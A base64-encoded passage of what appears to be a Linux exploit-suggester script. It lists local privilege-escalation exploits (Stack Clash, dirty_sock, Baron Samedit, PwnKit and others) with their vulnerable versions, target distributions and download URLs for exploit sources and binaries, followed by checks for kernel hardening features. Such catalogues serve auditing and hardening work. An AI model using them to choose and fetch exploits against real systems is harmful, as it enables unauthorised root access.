VlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IGJpbmFyaWVzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjYsQ1ZFLTIwMTctMTAwMDM3MV0ke3R4dHJzdH0gbGludXhfbGRzb19keW5hbWljClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6IGRlYmlhbj05fDEwLHVidW50dT0xNC4wNC41fDE2LjA0LjJ8MTcuMDQsZmVkb3JhPTIzfDI0fDI1ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2R5bmFtaWMuYwpleHBsb2l0LWRiOiA0MjI3NgphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBQSUVzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjYsQ1ZFLTIwMTctMTAwMDM3OV0ke3R4dHJzdH0gbGludXhfbGRzb19od2NhcF82NApSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4Nl82NApUYWdzOiBkZWJpYW49Ny43fDguNXw5LjAsdWJ1bnR1PTE0LjA0LjJ8MTYuMDQuMnwxNy4wNCxmZWRvcmE9MjJ8MjUsY2VudG9zPTcuMy4xNjExClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2h3Y2FwXzY0LmMKZXhwbG9pdC1kYjogNDIyNzUKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgYmluYXJpZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM3MCxDVkUtMjAxNy0xMDAwMzcxXSR7dHh0cnN0fSBsaW51eF9vZmZzZXQybGliClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9vZmZzZXQybGliLmMKZXhwbG9pdC1kYjogNDIyNzMKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtMTAwMDAwMV0ke3R4dHJzdH0gUmF0aW9uYWxMb3ZlClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8Mi4yNyxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSx4ODZfNjQKVGFnczogZGViaWFuPTl7bGliYzY6Mi4yNC0xMStkZWI5dTF9LHVidW50dT0xNi4wNC4ze2xpYmM2OjIuMjMtMHVidW50dTl9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE3L0xpYmNSZWFscGF0aEJ1ZmZlclVuZGVyZmxvdy8Kc3JjLXVybDogaHR0cHM6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNy9MaWJjUmVhbHBhdGhCdWZmZXJVbmRlcmZsb3cvUmF0aW9uYWxMb3ZlLmMKQ29tbWVudHM6IGtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPTEgcmVxdWlyZWQKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxOC0xMDAwMDAxL1JhdGlvbmFsTG92ZQpleHBsb2l0LWRiOiA0Mzc3NQphdXRob3I6IGhhbGZkb2cKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtMTA5MDBdJHt0eHRyc3R9IHZwbmNfcHJpdmVzYy5weQpSZXFzOiBwa2c9bmV0d29ya21hbmFnZXItdnBuY3xuZXR3b3JrLW1hbmFnZXItdnBuYyx2ZXI8MS4yLjYKVGFnczogdWJ1bnR1PTE2LjA0e25ldHdvcmstbWFuYWdlci12cG5jOjEuMS45My0xfSxkZWJpYW49OS4we25ldHdvcmstbWFuYWdlci12cG5jOjEuMi40LTR9LG1hbmphcm89MTcKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vcHVsc2VzZWN1cml0eS5jby5uei9hZHZpc29yaWVzL05NLVZQTkMtUHJpdmVzYwpzcmMtdXJsOiBodHRwczovL2J1Z3ppbGxhLm5vdmVsbC5jb20vYXR0YWNobWVudC5jZ2k/aWQ9Nzc5MTEwCmV4cGxvaXQtZGI6IDQ1MzEzCmF1dGhvcjogRGVuaXMgQW5kemFrb3ZpYwpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtMTQ2NjVdJHt0eHRyc3R9IHJhcHRvcl94b3JneQpSZXFzOiBwa2c9eG9yZy14MTEtc2VydmVyLVhvcmcsY21kOlsgLXUgL3Vzci9iaW4vWG9yZyBdClRhZ3M6IGNlbnRvcz03LjQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnNlY3VyZXBhdHRlcm5zLmNvbS8yMDE4LzEwL2N2ZS0yMDE4LTE0NjY1LXhvcmcteC1zZXJ2ZXIuaHRtbApleHBsb2l0LWRiOiA0NTkyMgphdXRob3I6IHJhcHRvcgpDb21tZW50czogWC5PcmcgU2VydmVyIGJlZm9yZSAxLjIwLjMgaXMgdnVsbmVyYWJsZS4gRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktNzMwNF0ke3R4dHJzdH0gZGlydHlfc29jawpSZXFzOiBwa2c9c25hcGQsdmVyPDIuMzcsY21kOlsgLVMgL3J1bi9zbmFwZC5zb2NrZXQgXQpUYWdzOiB1YnVudHU9MTguMTAsbWludD0xOQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9pbml0YmxvZy5jb20vMjAxOS9kaXJ0eS1zb2NrLwpleHBsb2l0LWRiOiA0NjM2MQpleHBsb2l0LWRiOiA0NjM2MgpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vaW5pdHN0cmluZy9kaXJ0eV9zb2NrL2FyY2hpdmUvbWFzdGVyLnppcAphdXRob3I6IEluaXRTdHJpbmcKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTEwMTQ5XSR7dHh0cnN0fSByYXB0b3JfZXhpbV93aXoKUmVxczogcGtnPWV4aW18ZXhpbTQsdmVyPj00Ljg3LHZlcjw9NC45MQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE5LzA2LzA1L2N2ZS0yMDE5LTEwMTQ5L3JldHVybi13aXphcmQtcmNlLWV4aW0udHh0CmV4cGxvaXQtZGI6IDQ2OTk2CmF1dGhvcjogcmFwdG9yCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTEyMTgxXSR7dHh0cnN0fSBTZXJ2LVUgRlRQIFNlcnZlcgpSZXFzOiBjbWQ6WyAtdSAvdXNyL2xvY2FsL1NlcnYtVS9TZXJ2LVUgXQpUYWdzOiBkZWJpYW49OQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLnZhc3RhcnQuZGV2LzIwMTkvMDYvY3ZlLTIwMTktMTIxODEtc2Vydi11LWV4cGxvaXQtd3JpdGV1cC5odG1sCmV4cGxvaXQtZGI6IDQ3MDA5CnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9ndXl3aGF0YWd1eS9DVkUtMjAxOS0xMjE4MS9tYXN0ZXIvc2VydnUtcGUtY3ZlLTIwMTktMTIxODEuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOS0xMjE4MS9TVXJvb3QKYXV0aG9yOiBHdXkgTGV2aW4gKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpDb21tZW50czogTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgdXNlcyBiYXNoIGV4ZWMgdGVjaG5pcXVlLCByYXRoZXIgdGhhbiBjb21waWxpbmcgd2l0aCBnY2MuCkVPRgopCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTg4NjJdJHt0eHRyc3R9IEdOVSBNYWlsdXRpbHMgMi4wIDw9IDMuNyBtYWlkYWcgdXJsIGxvY2FsIHJvb3QgKENWRS0yMDE5LTE4ODYyKQpSZXFzOiBjbWQ6WyAtdSAvdXNyL2xvY2FsL3NiaW4vbWFpZGFnIF0KVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5taWtlLWd1YWx0aWVyaS5jb20vcG9zdHMvZmluZGluZy1hLWRlY2FkZS1vbGQtZmxhdy1pbi1nbnUtbWFpbHV0aWxzCmV4dC11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvcmF3L21hc3Rlci9DVkUtMjAxOS0xODg2Mi9leHBsb2l0LmNyb24uc2gKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9yYXcvbWFzdGVyL0NWRS0yMDE5LTE4ODYyL2V4cGxvaXQubGRwcmVsb2FkLnNoCmF1dGhvcjogYmNvbGVzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTE4NjM0XSR7dHh0cnN0fSBzdWRvIHB3ZmVlZGJhY2sKUmVxczogcGtnPXN1ZG8sdmVyPDEuOC4zMQpUYWdzOiBtaW50PTE5ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R5bGFua2F0ei5jb20vQW5hbHlzaXMtb2YtQ1ZFLTIwMTktMTg2MzQvCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9zYWxlZW1yYXNoaWQvc3Vkby1jdmUtMjAxOS0xODYzNC9yYXcvbWFzdGVyL2V4cGxvaXQuYwphdXRob3I6IHNhbGVlbXJhc2hpZApDb21tZW50czogc3VkbyBjb25maWd1cmF0aW9uIHJlcXVpcmVzIHB3ZmVlZGJhY2sgdG8gYmUgZW5hYmxlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjAtOTQ3MF0ke3R4dHJzdH0gV2luZyBGVFAgU2VydmVyIDw9IDYuMi41IExQRQpSZXFzOiBjbWQ6WyAteCAvZXRjL2luaXQuZC93ZnRwc2VydmVyIF0KVGFnczogdWJ1bnR1PTE4ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ob29wZXJsYWJzLnh5ei9kaXNjbG9zdXJlcy9jdmUtMjAyMC05NDcwLnBocApzcmMtdXJsOiBodHRwczovL3d3dy5ob29wZXJsYWJzLnh5ei9kaXNjbG9zdXJlcy9jdmUtMjAyMC05NDcwLnNoCmV4cGxvaXQtZGI6IDQ4MTU0CmF1dGhvcjogQ2FyeSBDb29wZXIKQ29tbWVudHM6IFJlcXVpcmVzIGFuIGFkbWluaXN0cmF0b3IgdG8gbG9naW4gdmlhIHRoZSB3ZWIgaW50ZXJmYWNlLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zMTU2XSR7dHh0cnN0fSBzdWRvIEJhcm9uIFNhbWVkaXQKUmVxczogcGtnPXN1ZG8sdmVyPDEuOS41cDIKVGFnczogbWludD0xOSx1YnVudHU9MTh8MjAsIGRlYmlhbj0xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDIxLzAxLzI2L2N2ZS0yMDIxLTMxNTYvYmFyb24tc2FtZWRpdC1oZWFwLWJhc2VkLW92ZXJmbG93LXN1ZG8udHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ibGFzdHkvQ1ZFLTIwMjEtMzE1Ni96aXAvbWFpbgphdXRob3I6IGJsYXN0eQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zMTU2XSR7dHh0cnN0fSBzdWRvIEJhcm9uIFNhbWVkaXQgMgpSZXFzOiBwa2c9c3Vkbyx2ZXI8MS45LjVwMgpUYWdzOiBjZW50b3M9Nnw3fDgsdWJ1bnR1PTE0fDE2fDE3fDE4fDE5fDIwLCBkZWJpYW49OXwxMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDIxLzAxLzI2L2N2ZS0yMDIxLTMxNTYvYmFyb24tc2FtZWRpdC1oZWFwLWJhc2VkLW92ZXJmbG93LXN1ZG8udHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS93b3Jhd2l0L0NWRS0yMDIxLTMxNTYvemlwL21haW4KYXV0aG9yOiB3b3Jhd2l0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTU2MThdJHt0eHRyc3R9IHNldHVpZCBzY3JlZW4gdjQuNS4wIExQRQpSZXFzOiBwa2c9c2NyZWVuLHZlcj09NC41LjAKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTcvcTEvMTg0CmV4cGxvaXQtZGI6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQxMTU0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTQwMzRdJHt0eHRyc3R9IFB3bktpdApSZXFzOiBwa2c9cG9sa2l0fHBvbGljeWtpdC0xLHZlcjw9MC4xMDUtMzEKVGFnczogdWJ1bnR1PTEwfDExfDEyfDEzfDE0fDE1fDE2fDE3fDE4fDE5fDIwfDIxLGRlYmlhbj03fDh8OXwxMHwxMSxmZWRvcmEsbWFuamFybwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDIyLzAxLzI1L2N2ZS0yMDIxLTQwMzQvcHdua2l0LnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vYmVyZGF2L0NWRS0yMDIxLTQwMzQvemlwL21haW4KYXV0aG9yOiBiZXJkYXYKRU9GCikKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIHNlY3VyaXR5IHJlbGF0ZWQgSFcva2VybmVsIGZlYXR1cmVzCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKc2VjdGlvbjogTWFpbmxpbmUga2VybmVsIHByb3RlY3Rpb24gbWVjaGFuaXNtczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEtlcm5lbCBQYWdlIFRhYmxlIElzb2xhdGlvbiAoUFRJKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj00LjE1CmVuYWJsZWQ6IGNtZDpncmVwIC1FcWkgJ1xzcHRpJyAvcHJvYy9jcHVpbmZvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcHRpLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHQ0Mgc3RhY2sgcHJvdGVjdG9yIHN1cHBvcnQKYXZhaWxhYmxlOiBDT05GSUdfSEFWRV9TVEFDS1BST1RFQ1RPUj15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RhY2twcm90ZWN0b3ItcmVndWxhci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR0NDIHN0YWNrIHByb3RlY3RvciBTVFJPTkcgc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19TVEFDS1BST1RFQ1RPUl9TVFJPTkc9eSx2ZXI+PTMuMTQKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdGFja3Byb3RlY3Rvci1zdHJvbmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IExvdyBhZGRyZXNzIHNwYWNlIHRvIHByb3RlY3QgZnJvbSB1c2VyIGFsbG9jYXRpb24KYXZhaWxhYmxlOiBDT05GSUdfREVGQVVMVF9NTUFQX01JTl9BRERSPVswLTldKwplbmFibGVkOiBzeXNjdGw6dm0ubW1hcF9taW5fYWRkciE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL21tYXBfbWluX2FkZHIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFByZXZlbnQgdXNlcnMgZnJvbSB1c2luZyBwdHJhY2UgdG8gZXhhbWluZSB0aGUgbWVtb3J5IGFuZCBzdGF0ZSBvZiB0aGVpciBwcm9jZXNzZXMKYXZhaWxhYmxlOiBDT05GSUdfU0VDVVJJVFlfWUFNQT15CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwueWFtYS5wdHJhY2Vfc2NvcGUhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy95YW1hX3B0cmFjZV9zY29wZS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgdW5wcml2aWxlZ2VkIGFjY2VzcyB0byBrZXJuZWwgc3lzbG9nCmF2YWlsYWJsZTogQ09ORklHX1NFQ1VSSVRZX0RNRVNHX1JFU1RSSUNUPXksdmVyPj0yLjYuMzcKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC5kbWVzZ19yZXN0cmljdCE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RtZXNnX3Jlc3RyaWN0Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSYW5kb21pemUgdGhlIGFkZHJlc3Mgb2YgdGhlIGtlcm5lbCBpbWFnZSAoS0FTTFIpCmF2YWlsYWJsZTogQ09ORklHX1JBTkRPTUlaRV9CQVNFPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9rYXNsci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogSGFyZGVuZWQgdXNlciBjb3B5IHN1cHBvcnQKYXZhaWxhYmxlOiBDT05GSUdfSEFSREVORURfVVNFUkNPUFk9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2hhcmRlbmVkX3VzZXJjb3B5Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBNYWtlIGtlcm5lbCB0ZXh0IGFuZCByb2RhdGEgcmVhZC1vbmx5CmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9LRVJORUxfUldYPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3Rfa2VybmVsX3J3eC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU2V0IGxvYWRhYmxlIGtlcm5lbCBtb2R1bGUgZGF0YSBhcyBOWCBhbmQgdGV4dCBhcyBSTwphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfTU9EVUxFX1JXWD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X21vZHVsZV9yd3gubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEJVRygpIGNvbmRpdGlvbnMgcmVwb3J0aW5nCmF2YWlsYWJsZTogQ09ORklHX0JVRz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnVnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBBZGRpdGlvbmFsICdjcmVkJyBzdHJ1Y3QgY2hlY2tzCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX0NSRURFTlRJQUxTPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19jcmVkZW50aWFscy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU2FuaXR5IGNoZWNrcyBmb3Igbm90aWZpZXIgY2FsbCBjaGFpbnMKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfTk9USUZJRVJTPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19ub3RpZmllcnMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEV4dGVuZGVkIGNoZWNrcyBmb3IgbGlua2VkLWxpc3RzIHdhbGtpbmcKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfTElTVD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfbGlzdC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIG9uIHNjYXR0ZXItZ2F0aGVyIHRhYmxlcwphdmFpbGFibGU6IENPTkZJR19ERUJVR19TRz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfc2cubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBmb3IgZGF0YSBzdHJ1Y3R1cmUgY29ycnVwdGlvbnMKYXZhaWxhYmxlOiBDT05GSUdfQlVHX09OX0RBVEFfQ09SUlVQVElPTj15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnVnX29uX2RhdGFfY29ycnVwdGlvbi5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIGZvciBhIHN0YWNrIG92ZXJydW4gb24gY2FsbHMgdG8gJ3NjaGVkdWxlJwphdmFpbGFibGU6IENPTkZJR19TQ0hFRF9TVEFDS19FTkRfQ0hFQ0s9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NjaGVkX3N0YWNrX2VuZF9jaGVjay5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRnJlZWxpc3Qgb3JkZXIgcmFuZG9taXphdGlvbiBvbiBuZXcgcGFnZXMgY3JlYXRpb24KYXZhaWxhYmxlOiBDT05GSUdfU0xBQl9GUkVFTElTVF9SQU5ET009eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NsYWJfZnJlZWxpc3RfcmFuZG9tLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBGcmVlbGlzdCBtZXRhZGF0YSBoYXJkZW5pbmcKYXZhaWxhYmxlOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2xhYl9mcmVlbGlzdF9oYXJkZW5lZC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQWxsb2NhdG9yIHZhbGlkYXRpb24gY2hlY2tpbmcKYXZhaWxhYmxlOiBDT05GSUdfU0xVQl9ERUJVR19PTj15LGNtZDohIGdyZXAgJ3NsdWJfZGVidWc9LScgL3Byb2MvY21kbGluZQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9tem